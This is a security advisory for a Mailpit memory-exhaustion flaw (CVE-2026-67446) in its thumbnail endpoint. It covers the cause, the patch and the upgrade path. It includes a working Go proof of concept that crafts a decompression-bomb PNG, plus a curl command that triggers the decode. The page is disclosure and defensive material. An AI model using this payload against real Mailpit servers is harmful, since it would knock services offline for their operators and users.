CVE-2026-67446: Mailpit Thumbnail Handler Uncontrolled Memory Allocation via Oversized Image Dimensions
Mailpit's thumbnail endpoint decodes the full raster of any image attachment before scaling it to 180x120, so an attacker can send a compact PNG that expands to tens or hundreds of megabytes in…

The problem
The thumbnail handler at GET /api/v1/message/{id}/part/{partID}/thumb calls imaging.Decode() on attacker-supplied attachment bytes before performing any check on declared image dimensions or estimated decoded-pixel budget.
The fix (scaling to 180x120) only runs after the full raster is already in memory. An attacker who can send an email and reach the HTTP API can force the server to allocate decoded memory proportional to the image's pixel count, not its encoded size. The web UI loads this endpoint automatically as the <img src> for every image attachment, so opening a malicious message also triggers the path.
Proof of concept
A working proof-of-concept for CVE-2026-67446 in github.com/axllent/mailpit, with the exact payload below.
// Generate a valid 4096x4096 RGBA PNG (~65 KB encoded, ~64 MiB decoded).
// Send as a MIME attachment, then hit the thumbnail endpoint.
//
// Step 1: craft the bomb PNG (Go)
package main
import (
"bytes"
"compress/zlib"
"encoding/base64"
"encoding/binary"
"hash/crc32"
"os"
)
func pngChunk(kind string, data []byte) []byte {
var out bytes.Buffer
binary.Write(&out, binary.BigEndian, uint32(len(data)))
out.WriteString(kind)
out.Write(data)
crc := crc32.NewIEEE()
crc.Write([]byte(kind))
crc.Write(data)
binary.Write(&out, binary.BigEndian, crc.Sum32())
return out.Bytes()
}
func main() {
width, height := 4096, 4096
var out bytes.Buffer
out.Write([]byte{0x89, 'P', 'N', 'G', '\r', '\n', 0x1a, '\n'})
ihdr := make([]byte, 13)
binary.BigEndian.PutUint32(ihdr[0:4], uint32(width))
binary.BigEndian.PutUint32(ihdr[4:8], uint32(height))
ihdr[8] = 8 // bit depth
ihdr[9] = 6 // color type: RGBA
out.Write(pngChunk("IHDR", ihdr))
var compressed bytes.Buffer
zw := zlib.NewWriter(&compressed)
row := make([]byte, 1+width*4) // filter byte + RGBA scanline
for i := 0; i < height; i++ {
zw.Write(row)
}
zw.Close()
out.Write(pngChunk("IDAT", compressed.Bytes()))
out.Write(pngChunk("IEND", nil))
os.Stdout.Write(out.Bytes())
}
// Step 2: store via SMTP (or /api/v1/send), then trigger decode
// Replace <MSG_ID> and <PART_ID> with values from GET /api/v1/messages
// $ curl http://localhost:8025/api/v1/message/<MSG_ID>/part/<PART_ID>/thumb
//
// Result (from advisory PoC output):
// encoded_png_bytes=65301 decoded_rgba_bytes=67108864
// dimensions=4096x4096 amplification=1027.7xThe root cause (CWE-400, CWE-770) is that server/apiv1/thumbnails.go calls imaging.Decode(buf, imaging.AutoOrientation(true)) before inspecting dimensions. PNG's zlib-compressed scanlines let a tiny payload declare and expand to an arbitrarily large raster.
The advisory PoC confirms 65,301 encoded bytes becoming 67,108,864 decoded RGBA bytes, a 1027x amplification, before any thumbnail work begins.
The patch at commit 6bcb6337838b542d53c348e38c7977f569b6db35 adds a pre-flight image.DecodeConfig() call to read only the image header, computes the total pixel count, and rejects images whose decoded size exceeds a fixed cap, returning the blank-thumbnail fallback instead of calling imaging.Decode.
The fix
Upgrade to Mailpit v1.30.4 or later. The release adds a dimension pre-check before full decode in the thumbnail handler, rejecting oversized images before any memory allocation for the raster occurs.
Related research
- high · 7.5CVE-2026-67445CVE-2026-67445: Mailpit SMTP Command Parser Unbounded Memory Allocation (DoS)
- high · 7.5CVE-2026-64868CVE-2026-64868: new-api Unauthenticated Webhook DoS via Unbounded Body Read
- high · 7.5CVE-2026-50274CVE-2026-50274: dd-trace-go Unbounded W3C Baggage Header Parsing DoS
- highCVE-2026-54448CVE-2026-54448: Trivy Helm Chart Tar Bomb OOM via Unbounded io.ReadAll